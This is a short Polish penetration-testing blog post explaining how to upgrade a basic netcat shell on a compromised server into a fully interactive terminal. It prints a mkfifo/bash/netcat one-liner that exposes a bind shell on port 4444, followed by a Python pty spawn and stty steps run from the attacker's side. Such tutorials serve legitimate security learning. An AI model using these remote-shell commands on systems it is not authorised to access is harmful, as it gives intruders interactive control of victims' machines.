Od netcat do pełnowymiarowej powłoki shell
Napisał: Patryk Krawaczyński
27/12/2018 w Pen Test Brak komentarzy. (artykuł nr 671, ilość słów: 291)
Z
ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:
$ rm -f /tmp/f; mkfifo /tmp/f $ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f Listening on [0.0.0.0] (family 0, port 4444) Connection from X.X.X.X 45600 received!
Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab
oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:
agresor@stardust:~$ nc X.X.X.X 4444 vim Vim: Warning: Output is not to a terminal Vim: Warning: Input is not from a terminal
Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
agresor@stardust:~$ nc X.X.X.X 4444 # Po połączeniu się z atakowaną maszyną wydajemy polecenia: echo $HOME /home/agresor echo $SHELL /bin/bash python -c 'import pty; pty.spawn("/bin/bash")' # Zawieszamy proces za pomocą kombinacji klawiszy 'Ctrl+Z' [1]+ Stopped nc X.X.X.X 4444 # Z poziomu lokalnego terminala wydajemy polecenia: agresor@stardust:~$ echo $TERM xterm-256color agresor@stardust:~$ stty -a | head -n1 speed 38400 baud; rows 55; columns 238; line = 0; agresor@stardust:~$ stty raw -echo # Po wpisaniu ostatniego polecenia nie będziemy widzieli wpisywanych znaków # 'fg' do odwieszenia zatrzymanego zadania: agresor@stardust:~$ fg # Uzupełniamy zmienne z powyżej otrzymanych informacji: export HOME=/home/agresor export SHELL=/bin/bash export TERM=xterm-256color stty rows 55 columns 238
Tada! Od tego momentu możemy cieszyć się uzupełnianiem podpowiedzi dla poleceń, vim’em i wszystkim innym, co powłoka może nam zaoferować.
Więcej informacji: Upgrading simple shells to fully interactive TTYs